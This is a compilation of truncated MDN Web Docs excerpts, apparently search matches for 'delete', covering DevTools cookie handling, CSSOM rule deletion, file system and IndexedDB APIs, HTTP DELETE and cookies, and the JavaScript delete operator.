Migrating from Firebug - Firefox Developer Tools
s well as when it was last accessed and whether it is host-only. edit cookies to edit a cookie in firebug you have to right-click the cookie and choose edit from the context menu. then a dialog pops up allowing you to edit the data of the cookie and save it. inside the storage inspector you just have to double-click the data you want to edit. then an inline editor allows you to edit the value. delete cookies firebug's cookies panel allows you to delete all cookies of a website via the menu option cookies > remove cookies or by pressing ctrl+shift+o. it also allows you to only remove session cookies via cookies > remove session cookies and to remove single cookies by right-clicking them and choosing delete. the devtools storage inspector allows to remove all cookies and a single one by right-...
...allows you to delete all cookies of a website via the menu option cookies > remove cookies or by pressing ctrl+shift+o. it also allows you to only remove session cookies via cookies > remove session cookies and to remove single cookies by right-clicking them and choosing delete. the devtools storage inspector allows to remove all cookies and a single one by right-clicking on a cookie and choosing delete all resp. delete "<cookie name>". additionally, it allows to delete all cookies from a specific domain via the context menu option delete all from "<domain name>". it currently does not allow to only delete session cookies (see bug 1336934). developer toolbar display of error count when there are javascript errors on a page, the firebug start button shows a badge with their number. the devtool...
Tips - Firefox Developer Tools
e between a light and a dark theme for the developer tools. change the keyboard bindings to vim, emacs or sublime text if you're used to different shortcuts. check or uncheck the different tools to enable or disable them. (there are more than the default tools!) page inspector in the markup view: press h with a node selected to hide/show it. press backspace or del with a node selected to delete it. alt + click on a node to expand or collapse it and all its descendants. click on the last breadcrumb button to scroll the selection into view in the inspector. click the "ev" icon besides a node to see all event listeners attached to it. press s with a node selected to see it in the page (same as right-click a node and click "scroll into view"). right-click a node and click "use in conso...
...er navigation. hover the "js" icon within the "cause" column to see the javascript stack trace, which caused the request. check "disable http cache (when toolbox is open)" in the settings to disable the network cache while debugging network issues. storage inspector right-click the column headers to open a menu allowing to toggle the display of the columns. right-click an entry and click "delete name" to delete it or "delete all" to delete all entries. select an entry to see the parsed value of it in the sidebar. ...
CSSGroupingRule - Web APIs
rule that contains other rules nested within it. objects deriving from it : cssconditionrule and its children: cssmediarule, csssupportsrule, and cssdocumentrule. csspagerule syntax the syntax is described using the webidl format. interface cssgroupingrule : cssrule { readonly attribute cssrulelist cssrules; unsigned long insertrule (domstring rule, unsigned long index); void deleterule (unsigned long index); } properties common to all cssgroupingrule instances the cssgroupingrule derives from cssrule and inherits all properties of this class. it has one specific property: cssgroupingrule.cssrules read only returns a cssrulelist of the css rules in the media rule. methods common to all cssgroupingrule instances the cssgroupingrule derives from cssrule and inherits...
...tances the cssgroupingrule derives from cssrule and inherits all properties of this class. it has one specific property: cssgroupingrule.cssrules read only returns a cssrulelist of the css rules in the media rule. methods common to all cssgroupingrule instances the cssgroupingrule derives from cssrule and inherits all methods of this class. it has two specific methods: cssgroupingrule.deleterule deletes a rule from the style sheet. cssgroupingrule.insertrule inserts a new style rule into the current style sheet. specification specification status comment css object model (cssom)the definition of 'cssgroupingrule' in that specification. working draft initial definition. ...
CSSRuleList - Web APIs
st interface (such as cssstylesheet.cssrules), and index is the 0-based index of the rule, in the order as it appears in the style sheet css. the number of rules in the list is rules.length. note that being indirect-modify (changeable but only having read-methods), rules are not added or removed from the list directly, but instead here, only via its parent stylesheet. in fact, .insertrule() and .deleterule() are not even methods of cssrulelist, but only of cssstylesheet. if however, for some reason the list does need to be modified but has no parent stylesheet (perhaps being a livecopy of a list that does), it cannot just be assigned one (as it has no such property), and neither can it be assigned to one (as stylesheet.cssrules is read-only), but it must unfortunately be inserted into one, rule...
... example // get the first style sheet’s first rule var first_rule = document.stylesheets[0].cssrules[0]; see also cssrule cssrulelist implementations there are multiple properties in the cssom that will return a cssrulelist. they are: cssstylesheet property cssrules cssmediarule property cssrules csskeyframesrule property cssrules cssmozdocumentrule property cssru...
CSSStyleSheet.removeRule() - Web APIs
the obsolete cssstylesheet method removerule() removes a rule from the stylesheet object. it is functionally identical to the standard, preferred method deleterule(). note: this is a legacy method which has been replaced by the standard method deleterule(). you should use that instead. syntax cssstylesheet.removerule(index) parameters index the index into the stylesheet's cssrulelist indicating the rule to be removed. return value undefined example this example removes the first rule from the stylesheet mystyles. ...
... has been replaced by the standard method deleterule(). you should use that instead. syntax cssstylesheet.removerule(index) parameters index the index into the stylesheet's cssrulelist indicating the rule to be removed. return value undefined example this example removes the first rule from the stylesheet mystyles. mystyles.removerule(0); you can rewrite this to use the standard deleterule() method very easily: mystyles.deleterule(0); specifications specification status comment css object model (cssom)the definition of 'cssstylesheet.removerule()' in that specification. working draft ...
CSSStyleSheet - Web APIs
operties inherits properties from its parent, stylesheet. cssrules read only returns a live cssrulelist which maintains an up-to-date list of the cssrule objects that comprise the stylesheet. this is normally used to access individual rules like this: stylesheet.cssrules[i] // where i = 0..cssrules.length-1 to add or remove items in cssrules, use the cssstylesheet's insertrule() and deleterule() methods. ownerrule read only if this stylesheet is imported into the document using an @import rule, the ownerrule property returns the corresponding cssimportrule; otherwise, this property's value is null. methods inherits methods from its parent, stylesheet. deleterule() deletes the rule at the specified index into the stylesheet's rule list. insertrule() inserts a new rule ...
...t be used if they can be avoided, but are not in danger of being removed anytime soon. addrule() adds a new rule to the stylesheet given the selector to which the style applies and the style block to apply to the matching elements. this differs from insertrule(), which simply takes the textual representation of the entire rule as a single string. removerule() functionally identical to deleterule(); removes the rule at the specified index from the stylesheet's rule list. notes in some browsers, if a stylesheet is loaded from a different domain, accessing cssrules results in securityerror. a stylesheet is associated with at most one document, which it applies to (unless disabled). a list of cssstylesheet objects for a given document can be obtained using the document.stylesheets pr...
ContentIndexEvent() - Web APIs
the contentindexevent() constructor creates a new contentindexevent object whose type and other options are configured as specified. syntax var contentindexevent = new contentindexevent(type, contentindexeventinit); parameters type a domstring indicating the event which occurred. for contentindexevent, this is always delete. eventinitdict optional an options object containing any initialization data you want to populate the contentindexevent object with. the options are: id: the id of the indexed content you want the contentindexevent to remove. return value a contentindexevent object configured using the given inputs. examples this examples constructs a new contentindexevent with the relevant id. var removedata = { id : 'unique-content-id' } var cievent = ne...
... populate the contentindexevent object with. the options are: id: the id of the indexed content you want the contentindexevent to remove. return value a contentindexevent object configured using the given inputs. examples this examples constructs a new contentindexevent with the relevant id. var removedata = { id : 'unique-content-id' } var cievent = new contentindexevent('contentdelete', removedata); cievent.id; // should return 'unique-content-id' specifications specification status comment unknownthe definition of 'contentindexevent' in that specification. unknown initial definition. ...
DirectoryEntrySync - Web APIs
ts. you cannot create another one with the same path. quota_exceeded_error the operation would cause the application to exceed its storage quota. security_err the application does not have permission to access the element referred to by path. [ todo: explain why ] type_mismatch_err the path supplied exists, but it is not a directory. removerecursively() deletes a directory and all of its contents. you cannot delete the root directory of a file system. if you delete a directory that contains a file that cannot be removed or if an error occurs while the deletion is in progress, some of the contents might not be deleted. catch these cases with error callbacks and retry the deletion. void removerecursively ( ) raises (fileexception); parameter none r...
...ror callbacks and retry the deletion. void removerecursively ( ) raises (fileexception); parameter none returns void exceptions this method can raise a fileexception with the following codes: exception description not_found_err the target directory does not exist. invalid_state_err this directory is not longer valid for some reason other than being deleted. [todo: explain more ] no_modification_allowed_err one of the following is not writable: the directory, its parent directory, and some of the content in the directory. security_err the application does not have permission to access the target directory, its parent, or some of its contents. ...
Using Fetch - Web APIs
e fetch() method can optionally accept a second parameter, an init object that allows you to control a number of different settings: see fetch() for the full options available, and more details. // example post method implementation: async function postdata(url = '', data = {}) { // default options are marked with * const response = await fetch(url, { method: 'post', // *get, post, put, delete, etc. mode: 'cors', // no-cors, *cors, same-origin cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached credentials: 'same-origin', // include, *same-origin, omit headers: { 'content-type': 'application/json' // 'content-type': 'application/x-www-form-urlencoded', }, redirect: 'follow', // manual, *follow, error referrerpolicy: 'no-...
... all of the headers methods throw a typeerror if a header name is used that is not a valid http header name. the mutation operations will throw a typeerror if there is an immutable guard (see below). oth...
FileEntrySync - Web APIs
ith the file that the fileentry represents. void createwriter ( ) raises (fileexception); parameter none. returns filewritersync exceptions this method can raise a fileexception with the following codes: exception description not_found_err the file does not exist. invalid_state_err the file is no longer valid for some reason other than it having been deleted. file() returns a file that represents the current state of the file that this fileentry represents. void file ( ) raises (fileexception); parameter none. returns file exceptions this method can raise a fileexception with the following codes: exception description not_found_err the file does not exist. invalid_state_err the file is no lo...
...the current state of the file that this fileentry represents. void file ( ) raises (fileexception); parameter none. returns file exceptions this method can raise a fileexception with the following codes: exception description not_found_err the file does not exist. invalid_state_err the file is no longer valid for some reason other than it having been deleted. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfilee...
FileSystemEntrySync - Web APIs
y. [ todo: specify what kind of metadata ] metadata getmetada () raises (fileexception); parameter none returns metadata exceptions this method can raise a fileexception with the following codes: exception description not_found_err the entry does not exist. invalid_state_err the filesystemsync is no longer valid for some reason besides being deleted. moveto() move an entry to a different location on the file system. moving a file over an existing file replaces that existing file. moving a directory over an existing empty directory replaces that directory. [todo: what if the directory is not empty? ] [todo: verify ] this is the same method for renaming files. you can keep it in the same location and then define the newname parameter...
...you can use to fill src or href attributes. for example, if you wanted to display an image and have its fileentry, calling tourl() gives you the image file's file system url. you get something like: filesystem:http://example.com/temporary/lolcat.png. the file system url does not expire. because the method describes a location on disk, the url is valid for as long as that location exists. you can delete the file and recreate it, and it's all good. you can supply the mimetype to simulate the optional mime type header associated with http downloads. domstring tourl (); parameter none. returns domstring exceptions none remove() deletes a file or directory. you cannot delete an empty directory or the root directory of a file system. if you want to remove an empty directory, use remo...
Introduction to the File and Directory Entries API - Web APIs
port a file from a web app to a desktop app. for example, you can use the file api, create a blob, redirect an iframe to the blob, and invoke the download manager. the file and directory entries api can use different storage types an application can request temporary or persistent storage. temporary storage is easier to get, because the browser just gives it to you, but it is limited and can be deleted by the browser when it runs out of space. persistent storage, on the other hand, might offer you larger space that can only be deleted by the user, but it requires the user to grant you permission. use temporary storage for caching and persistent storage for data that you want your app to keep—such as user-generated or unique data. browsers impose storage quotas to prevent a web app from us...
...b applications. a blob can be an image or an audio file. blob blob—with a capital b—is a data structure that is immutable, which means that binary data referenced by a blob cannot be modified directly. this makes blobs act predictably when they are passed to asynchronous apis. persistent storage persistent storage is storage that stays in the browser unless the user expunges it or the app deletes it. temporary storage transient storage is available to any web app. it is automatic and does not need to be requested, but the browser can delete the storage without warning. specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification. ...
Using the Gamepad API - Web APIs
stem, even if multiple controllers of the same type are used. the index property also functions as the index into the array returned by navigator.getgamepads(). var gamepads = {}; function gamepadhandler(event, connecting) { var gamepad = event.gamepad; // note: // gamepad === navigator.getgamepads()[gamepad.index] if (connecting) { gamepads[gamepad.index] = gamepad; } else { delete gamepads[gamepad.index]; } } window.addeventlistener("gamepadconnected", function(e) { gamepadhandler(e, true); }, false); window.addeventlistener("gamepaddisconnected", function(e) { gamepadhandler(e, false); }, false); this previous example also demonstrates how the gamepad property can be held after the event has completed — a technique we will use for device state querying later. quer...
...test/blob/master/index.html var start = document.getelementbyid("start"); if (start) { start.style.display = "none"; } document.body.appendchild(d); requestanimationframe(updatestatus); } function disconnecthandler(e) { removegamepad(e.gamepad); } function removegamepad(gamepad) { var d = document.getelementbyid("controller" + gamepad.index); document.body.removechild(d); delete controllers[gamepad.index]; } function updatestatus() { if (!haveevents) { scangamepads(); } var i = 0; var j; for (j in controllers) { var controller = controllers[j]; var d = document.getelementbyid("controller" + j); var buttons = d.getelementsbyclassname("button"); for (i = 0; i < controller.buttons.length; i++) { var b = buttons[i]; var val = con...
HTMLOrForeignElement.dataset - Web APIs
ment.dataset.keyname attributes can also be set and read using the bracket syntax, as in element.dataset[keyname] the in operator can be used to check whether a given attribute exists. setting values when an attribute is set, its value is always converted into a string. for example: null is converted into the string "null". to remove an attribute, you can use the delete operator. syntax const dataattrmap = element.dataset value a domstringmap. examples <div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>john doe</div> const el = document.queryselector('#user'); // el.id === 'user' // el.dataset.id === '1234567890' // el.dataset.user === 'johndoe' // el.dataset.dateofbirth === '' // set the data attribute el.dataset.dateofbirth =...
... a domstringmap. examples <div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>john doe</div> const el = document.queryselector('#user'); // el.id === 'user' // el.dataset.id === '1234567890' // el.dataset.user === 'johndoe' // el.dataset.dateofbirth === '' // set the data attribute el.dataset.dateofbirth = '1960-10-03'; // result: el.dataset.dateofbirth === 1960-10-03 delete el.dataset.dateofbirth; // result: el.dataset.dateofbirth === undefined // 'somedataattr' in el.dataset === false el.dataset.somedataattr = 'mydata'; // result: 'somedataattr' in el.dataset === true specifications specification status comment html living standardthe definition of 'htmlelement.dataset' in that specification. living standard no change from late...
HTMLTableRowElement - Web APIs
gs to. if the row is not part of a section, returns -1. htmltablerowelement.valign is a domstring representing an enumerated value indicating how the content of the cell must be vertically aligned. it reflects the valign attribute and can have one of the following values: "top", "middle", "bottom", or "baseline". methods inherits methods from its parent, htmlelement. htmltablerowelement.deletecell() removes the cell at the given position in the row. if the given position is greater (or equal as it starts at zero) than the amount of cells in the row, or is smaller than 0, it raises a domexception with the indexsizeerror value. htmltablerowelement.insertcell() inserts a new cell just before the given position in the row. if the given position is not given or is -1, it appends the cell...
... html5the definition of 'htmltablerowelement' in that specification. recommendation the parameter of insertcell is now optional and default to -1. document object model (dom) level 2 html specificationthe definition of 'htmltablerowelement' in that specification. obsolete the cells, rowindex, and selectionrowindex properties are now read-only. the methods insertcell and deletecell can raise exceptions. document object model (dom) level 1 specificationthe definition of 'htmltablerowelement' in that specification. obsolete initial definition. ...
HTMLTableSectionElement - Web APIs
y was optional and was not very well supported. htmltablesectionelement.valign is a domstring representing an enumerated value indicating how the content of the cell must be vertically aligned. it reflects the valign attribute and can have one of the following values: "top", "middle", "bottom", or "baseline". methods inherits methods from its parent, htmlelement. htmltablesectionelement.deleterow() removes the cell at the given position in the section. if the given position is greater (or equal as it starts at zero) than the amount of rows in the section, or is smaller than 0, it raises a domexception with the indexsizeerror value. htmltablesectionelement.insertrow() inserts a new row just before the given position in the section. if the given position is not given or is -1, it appe...
...ition of 'htmltablesectionelement' in that specification. living standard html5the definition of 'htmltablesectionelement' in that specification. recommendation the parameter of insertcell is now optional. document object model (dom) level 2 html specificationthe definition of 'htmltablesectionelement' in that specification. obsolete the methods insertrow and deleterow can raise exceptions. document object model (dom) level 1 specificationthe definition of 'htmltablesectionelement' in that specification. obsolete initial definition. ...
IDBFactory - Web APIs
the idbfactory interface of the indexeddb api lets applications asynchronously access the indexed databases. the object that implements the interface is window.indexeddb. you open — that is, create and access — and delete a database with this object, and not directly with idbfactory. note: this feature is available in web workers. methods idbfactory.open the current method to request opening a connection to a database. idbfactory.deletedatabase a method to request the deletion of a database. idbfactory.cmp a method that compares two keys and returns a result indicating which one is greater in value. idbfactory.databases a method that returns a list of all available databases, including their names and versions. example in the following code snippet, we make a request to ope...
... 71firefox android no support nonotes no support nonotes notes see bug 934640.opera android full support yessafari ios no support nosamsung internet android full support 10.0deletedatabasechrome full support 24 full support 24 no support 23 — 24prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox full support 16 full su...
IDBObjectStore.createIndex() - Web APIs
dex names are case-sensitive. invalidaccesserror occurs if the provided key path is a sequence, and multientry is set to true in the objectparameters object. invalidstateerror occurs if either: the method was not called from a versionchange transaction mode callback, i.e. from inside a idbopendbrequest.onupgradeneeded handler. ...
...: the method was not called from a versionchange transaction mode callback, i.e. from inside a idbopendbrequest.onupgradeneeded handler. the object store has been deleted. syntaxerror occurs if the provided keypath is not a valid key path. transactioninactiveerror occurs if the transaction this idbobjectstore belongs to is not active (e.g. has been deleted or removed.) in firefox previous to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) example in the following example you can see the idbopendbrequest.onupgradeneeded handler being used to update the database structure if a database with a higher version number is loaded. createindex() is used to create new...
IDBOpenDBRequest - Web APIs
note: this feature is available in web workers. ...
... note: this feature is available in web workers. ...
Basic concepts - Web APIs
that takes too long, in order to free up storage resources that the long-running transaction has locked. you can abort the transaction, which rolls back the changes made to the database in the transaction. and you don't even have to wait for the transaction to start or be active to abort it. the three modes of transactions are: readwrite, readonly, and versionchange. the only way to create and delete object stores and indexes is by using a versionchange transaction. to learn more about transaction types, see the reference article for indexeddb. because everything happens within a transaction, it is a very important concept in indexeddb. to learn more about transactions, especially on how they relate to versioning, see idbtransaction, which also has reference documentation. request the o...
... index an index is a specialized object store for looking up records in another object store, called the referenced object store. the index is a persistent key-value storage where the value part of its records is the key part of a record in the referenced object store. the records in an index are automatically populated whenever records in the referenced object store are inserted, updated, or deleted. each record in an index can point to only one record in its referenced object store, but several indexes can reference the same object store. when the object store changes, all indexes that refer to the object store are automatically updated. alternatively, you can also look up records in an object store using the key. to learn more on using indexes, see using indexeddb. for the reference ...
Timing element visibility with the Intersection Observer API - Web APIs
of intersectionobserverentry objects. our callback, intersectioncallback(), looks like this: function intersectioncallback(entries) { entries.foreach(function(entry) { let adbox = entry.target; if (entry.isintersecting) { if (entry.intersectionratio >= 0.75) { adbox.dataset.lastviewstarted = entry.time; visibleads.add(adbox); } } else { visibleads.delete(adbox); if ((entry.intersectionratio === 0.0) && (adbox.dataset.totalviewtime >= 60000)) { replacead(adbox); } } }); } as previously mentioned, the intersectionobserver callback receives as input an array of all of the observer's targeted elements which have become either more or less visible than one of the intersection observer ratios. we iterate over each of those en...
... replacebox, a new element is created to contain the ad; the ad is then appended to the page. if you specify a replacebox, that box is treated as an existing ad element; instead of creating a new one, the existing element is changed to contain the new ad's style, content, and other data. this avoids the risk of lengthy layout work being done when you update the ad, which could happen if you first delete the old element then insert a new one. function loadrandomad(replacebox) { let ads = [ { bgcolor: "#cec", title: "eat green beans", body: "make your mother proud—they're good for you!" }, { bgcolor: "aquamarine", title: "millionsoffreebooks.whatever", body: "read classic literature online free!" }, { bgcolor: "lightgrey", ti...
MediaRecorder - Web APIs
nd = ""; record.style.color = ""; } mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var clipname = prompt('enter a name for your sound clip'); var clipcontainer = document.createelement('article'); var cliplabel = document.createelement('p'); var audio = document.createelement('audio'); var deletebutton = document.createelement('button'); clipcontainer.classlist.add('clip'); audio.setattribute('controls', ''); deletebutton.innerhtml = "delete"; cliplabel.innerhtml = clipname; clipcontainer.appendchild(audio); clipcontainer.appendchild(cliplabel); clipcontainer.appendchild(deletebutton); soundclips.appendchild(clipcontainer); audio.co...
...some lines have been...
Node.setUserData() - Web APIs
Web › API › Node › setUserData
web content. htmlelement.dataset or weakmap can be used instead. syntax var prevuserdata = somenode.setuserdata(userkey, userdata, handler); parameters userkey is used as the key by which one may subsequently obtain the stored data. more than one key can be set for a given node. ...
... userdata is the object to associate to userkey on somenode. if null, any previously registered object and userdatahandler associated to userkey on this node will be removed. ...
RTCIceCandidateStats - Web APIs
address optional a string containing the address of the candidate. this value may be an ipv4 address, an ipv6 address, or a fully-qualified domain name. this property was previously named ip and only accepted ip addresses. candidatetype optional a string matching one of the values in the rtcicecandidatetype enumerated type, indicating what kind of candidate the object provides statistics for. deleted optional a boolean value indicating whether or not the candidate has been released or deleted; the default value is false. for local candidates, it's value is true if the candidate has been deleted or released. for host candidates, true means that any network resources (usually a network socket) associated with the candidate have already been released. for turn candidates, the turn allocation i...
...this property is not present for remote candidates. networktype optional a string from the rtcnetworktype enumerated type which indicates the type of interface used for a local candidate. this property is only present for local candidates. port optional the network port number used by the candidate. ...
Using Service Workers - Web APIs
nerally used to do stuff that would have broken the previous version while it was still running, for example getting rid of old caches. this is also useful for removing data that is no longer needed to avoid filling up too much disk space — each browser has a hard limit on the amount of cache storage that a given service worker can use. the browser does its best to manage disk space, but it may delete the cache storage for an origin. the browser will generally delete all of the data for an origin or none of the data for an origin. promises passed into waituntil() will block other events until completion, so you can rest assured that your clean-up operation will have completed by the time you get your first fetch event on the new service worker. self.addeventlistener('activate', (event) => {...
...so you can rest assured that your clean-up operation will have completed by the time you get your first fetch event on the new service worker. self.addeventlistener('activate', (event) => { var cachekeeplist = ['v2']; event.waituntil( caches.keys().then((keylist) => { return promise.all(keylist.map((key) => { if (cachekeeplist.indexof(key) === -1) { return caches.delete(key); } })); }) ); }); developer tools chrome has chrome://inspect/#service-workers, which shows current service worker activity and storage on a device, and chrome://serviceworker-internals, which shows more detail and allows you to start/stop/debug the worker process. in the future they will have throttling/offline modes to simulate bad or non-existent connections, which w...
StyleSheet.media - Web APIs
Web › API › StyleSheet › media
the media property of the stylesheet interface specifies the intended destination media for style information. it is a read-only, array-like medialist object and can be removed with deletemedium() and added with appendmedium(). example <!doctype html> <html> <head> <link rel="stylesheet" href="document.css" type="text/css" media="screen" /> <style rel="stylesheet" type="text/css" media="screen, print"> body { background-color: snow; } </style> </head> <body> <script> for (var isheetindex = 0; isheetindex < document.stylesheets.length; isheetindex++) { console.log('document.stylesheets[' + string(isheetindex) + '].media: ' + json.stringify(document.stylesheets[isheetindex].media)); if (isheetindex === 0) document.stylesheets[isheetindex].media.appendmedium('handheld'); if (ishe...
...> <script> for (var isheetindex = 0; isheetindex < document.stylesheets.length; isheetindex++) { console.log('document.stylesheets[' + string(isheetindex) + '].media: ' + json.stringify(document.stylesheets[isheetindex].media)); if (isheetindex === 0) document.stylesheets[isheetindex].media.appendmedium('handheld'); if (isheetindex === 1) document.stylesheets[isheetindex].media.deletemedium('print'); console.log('document.stylesheets[' + string(isheetindex) + '].media: ' + json.stringify(document.stylesheets[isheetindex].media)); } /* will log: document.stylesheets[0].media: {"0":"screen"} document.stylesheets[0].media: {"0":"screen","1":"handheld"} document.stylesheets[1].media: {"0":"screen","1":"print"} document.stylesheets[1].media: {"0":"screen"} */ </script> </bod...
WebGLRenderingContext.getProgramParameter() - Web APIs
the webglrenderingcontext.getprogramparameter() method of the webgl api returns information about the given program. syntax any gl.getprogramparameter(program, pname); parameters program a webglprogram to get parameter information from. pname a glenum specifying the information to query. possible values: gl.delete_status: returns a glboolean indicating whether or not the program is flagged for deletion. gl.link_status: returns a glboolean indicating whether or not the last link operation was successful. gl.validate_status: returns a glboolean indicating whether or not the last validation operation was successful. gl.attached_shaders: returns a glint indicating the number of attached shaders to a program. gl.active_attributes: returns a glint indicating the number of active...
..._attribs. gl.transform_feedback_varyings: returns a glint indicating the number of varying variables to capture in transform feedback mode. gl.active_uniform_blocks: returns a glint indicating the number of uniform blocks containing active uniforms. return value returns the requested program information (as specified with pname). examples gl.getprogramparameter(program, gl.delete_status); specifications specification status comment webgl 1.0the definition of 'getprogramparameter' in that specification. recommendation initial definition. opengl es 2.0the definition of 'glgetprogramiv' in that specification. standard man page of the (similar) opengl api. webgl 2.0the definition of 'getprogramparameter' in that specifi...
Adding 2D content to a WebGL context - Web APIs
the shader's source code is sent to the shader by calling gl.shadersource(). once the shader has the source code, it's compiled using g...
...to check to be sure the shader successfully compiled, the shader parameter gl.compile_status is checked. to get its value, we call gl.getshaderparameter(), specifying the shader and the name of the parameter we want to check (gl.compile_status). if that's false, we know the shader failed to compile, so show an alert with log information obtained from the compiler using gl.getshaderinfolog(), then delete the shader and return null to indicate a failure to load the shader. if the shader was loaded and successfully compiled, the compiled shader is returned to the caller. to use this code we call it like this const shaderprogram = initshaderprogram(gl, vssource, fssource); after we've created a shader program we need to look up the locations that webgl assigned to our inputs. in this case we...
Using Web Workers - Web APIs
in order to achieve that we first implement a sendquery method which queries if the worker actually has the corresponding methods to do what we want. /* this functions takes at least one argument, the method name we want to que...
... then we can pass in the arguments that the method needs. */ this.sendquery = function() { if (arguments.length < 1) { throw new typeerror('queryableworker.sendquery takes at least one argument'); return; } worker.p...
Using HTTP cookies - HTTP
Web › HTTP › Cookies
usly stored cookies to the server using the cookie header. get /sample_page.html http/2.0 host: www.example.org cookie: yummy_cookie=choco; tasty_cookie=strawberry note: here's how to use the set-cookie header in various server-side applications: php node.js python ruby on rails define the lifetime of a cookie the lifetime of a cookie can be defined in two ways: session cookies are deleted when the current session ends. the browser defines when the "current session" ends, and some browsers use session restoring when restarting, which can cause session cookies to last indefinitely long. permanent cookies are deleted at a date specified by the expires attribute, or after a period of time specified by the max-age attribute. for example: set-cookie: id=a3fwa; expires=wed, 31 oct 2...
...storage api. the window.sessionstorage and window.localstorage properties correspond to session and permanent cookies in duration, but have larger storage limits than cookies, and are never sent to a server. more structured and larger amounts of data can be stored using the indexeddb api, or a library built on it. other techniques have been created to cause cookies to be recreated after they are deleted, known as "zombie" cookies. these techniques violate the principles of user privacy and user control, may violate data privacy regulations, and could expose a website using them to legal liability. ...
Access-Control-Allow-Headers - HTTP
example preflight request let's look at an example of a preflight request involving access-control-allow-headers. request first, the request. ...
... preflight request is an options request which includes some combination of the three preflight request headers: access-control-request-method, access-control-request-headers, and origin, such as: options /resource/foo access-control-request-method: delete access-control-request-headers: origin, x-requested-with origin: https://foo.bar.org response if the server allows cors requests to use the delete method, it responds with an access-control-allow-methods response header, which lists delete along with the other methods it supports: http/1.1 200 ok content-length: 0 connection: keep-alive access-control-allow-origin: https://foo.bar.org access-control-allow-methods: post, get, options, delete access-control-max-age: 86400 if the requested method isn't supported, the server will respond with...
HTTP request methods - HTTP
Web › HTTP › Methods
using get should only retrieve data. head the head method asks for a response identical to that of a get request, but without the response body. post the post method is used to submit an entity to the specified resource, often causing a change in state or side effects on the server. put the put method replaces all current representations of the target resource with the request payload. delete the delete method deletes the specified resource. connect the connect method establishes a tunnel to the server identified by the target resource. options the options method is used to describe the communication options for the target resource. trace the trace method performs a message loop-back test along the path to the target resource. patch the patch method is used to apply p...
...t resource. trace the trace method performs a message loop-back test along the path to the target resource. patch the patch method is used to apply partial modifications to a resource. specifications specification title comment rfc 7231, section 4: request methods hypertext transfer protocol (http/1.1): semantics and content specifies get, head, post, put, delete, connect, options, trace. rfc 5789, section 2: patch method patch method for http specifies patch. ...
Redirections in HTTP - HTTP
oid having internal redirects. a redirect has a significant performance cost (as an extra http request occurs). if you can avoid it by correcting internal links, you should fix those links instead. temporary responses to unsafe requests unsafe requests modify the state of the server and the user shouldn't resend them unintentionally. typically, you don't want your users to resend put, post or delete requests. if you serve the response as the result of this request, a simple press of the reload button will resend the request (possibly after a confirmation message). in this case, the server can send back a 303 (see other) response for a url that will contain the right information. if the reload button is pressed, only that page is redisplayed, without replaying the unsafe requests. temporary...
... of the reload button will resend the request (possibly after a confirmation message). in this case, the server can send back a 303 (see other) response for a url that will contain the right information. if the reload button is pressed, only that page is redisplayed, without replaying the unsafe requests. temporary responses to long requests some requests may need more time on the server, like delete requests that are scheduled for later processing. in this case, the response is a 303 (see other) redirect that links to a page indicating that the action has been scheduled, and eventually informs about its progress, or allows to cancel it. configuring redirects in common servers apache redirects can be set either in the server config file or in the .htaccess of each directory. the mod_alias...
HTTP response status codes - HTTP
Web › HTTP › Status
is valid but the resource itself does not exist. servers may also send this response instead of 403 to hide the existence of a resource from an unauthorized client. this response code is probably the most famous one due to its frequent occurrence on the web. 405 method not allowed the request method is known by the server but has been disabled and cannot be used. for example, an api may forbid delete-ing a resource. the two mandatory methods, get and head, must never be disabled and should not return this error code. 406 not acceptable this response is sent when the web server, after performing server-driven content negotiation, doesn't find any content that conforms to the criteria given by the user agent. 407 proxy authentication required this is similar to 401 but authentication is nee...
...is used much more since some browsers, like chrome, firefox 27+, or ie9, use http pre-connection mechanisms to speed up surfing. also note that some servers merely shut down the connection without sending this message. 409 conflict this response is sent when a request conflicts with the current state of the server. 410 gone this response is sent when the requested content has been permanently deleted from server, with no forwarding address. clients are expected to remove their caches and links to the resource. the http specification intends this status code to be used for "limited-time, promotional services". apis should not feel compelled to indicate resources that have been deleted with this status code. 411 length required server rejected the request because the content-length header fi...
Meta programming - JavaScript
responding target property if the corresponding target property is a non-writable, non-configurable data property. cannot set the value of a property if the corresponding target property is a non-configurable accessor property that has undefined as its [[set]] attribute. in strict mode, a false return value from the set handler will throw a typeerror exception. handler.deleteproperty() property deletion delete proxy[foo] delete proxy.foo reflect.deleteproperty() a property cannot be deleted if it exists as a non-configurable own property of target. handler.enumerate() property enumeration / for...in: for (let name in proxy) {...} reflect.enumerate() the enumerate method must return a...
...d via the function revoke and switches the proxy off. afterwards, any operation on the proxy leads to a typeerror. let revocable = proxy.revocable({}, { get: function(target, name) { return '[[' + name + ']]' } }) let proxy = revocable.proxy console.log(proxy.foo) // "[[foo]]" revocable.revoke() console.log(proxy.foo) // typeerror is thrown proxy.foo = 1 // typeerror again delete proxy.foo // still typeerror typeof proxy // "object", typeof doesn't trigger any trap reflection reflect is a built-in object that provides methods for interceptable javascript operations. the methods are the same as those of the proxy handlers. reflect is not a function object. reflect helps with forwarding default operations from the handler to the target. with reflect.
Working with objects - JavaScript
compact and natural. however, if you need to add getters and setters later — because you did not write the prototype or particular object — then the second form is the only possible form. the second form probably best represents the dynamic nature of javascript — but it can make the code hard to read and understand. ...
...re of javascript — but it can make the code hard to read and understand. deleting properties you can remove a non-inherited property by using the delete operator. the following code shows how to remove a property. // creates a new object, myobj, with two properties, a and b. var myobj = new object; myobj.a = 5; myobj.b = 12; // removes the a property, leaving myobj with only the b property. delete myobj.a; console.log ('a' in myobj); // output: "false" you can also use delete to delete a global variable if the var keyword was not used to declare the variable: g = 17; delete g; comparing objects in javascript, objects are a reference type. two distinct objects are never equal, even if they have the same properties. only comparing the same object reference with itself yields true. // ...
Inheritance and the prototype chain - JavaScript
